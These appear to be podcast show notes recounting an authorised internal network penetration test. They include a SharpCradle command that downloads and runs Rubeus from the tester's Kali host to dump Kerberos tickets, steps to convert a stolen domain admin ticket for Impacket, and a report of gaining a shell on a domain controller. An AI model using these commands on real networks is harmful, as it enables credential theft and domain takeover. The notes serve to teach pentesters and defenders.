7 Minute Security19 Nov 2020

7MS #442: Tales of Internal Network Pentest Pwnage - Part 23

Hey friends, I dare declare this to be my favorite tale of internal pentest pwnage so far. Why? Because the episode features:

Great blue team tools alerting our customer to a lot of the stuff we were doing
An EDR that we tried to beat up (but it beat us up instead)
SharpGPOAbuse which we talked about extensively last week
Separation of "everyday" accounts from privileged accounts
Multi-factor authentication bypass!
Some delicious findings in GPOs thanks to Ryan Hausec's great two part series (1 and 2). If you're not sure if you're vulnerable to MS14-025, check out this great article which discusses the vulnerability and its mitigation.

The final cherry on top was a new attack another pentester taught me. Use a combination of SharpCradle and Rubeus to steal logged in DA creds:

SharpCradle.exe -w https://your.kali.box.ip/Rubeus.exe dump /service:krbtgt /nowrap

This will give you a TGT (base64 encoded) for active logon sessions to the box. So if a DA is logged in, you can snag their TGT and then convert that into a .kirbi file on your Kali box with:

echo "LooooonnnnnggggggTicketStriiiiiiiiiiinnnngggg" | base64 -d > BobTheDomainAdmin.kirb

Convert the .kirbi file to a .ccache file with ticket converter. Then you can use Impacket tools to use/abuse that access to your heart's delight.

We ended up using Impacket to pop a shell on a DC and add a low-priv account to DA. The interesting thing is that the alert the blue team received essentially said "The DC itself added the user to the DA group" - the alert did not have attribution to the user whose ticket we stole! Good tip for future pentests!

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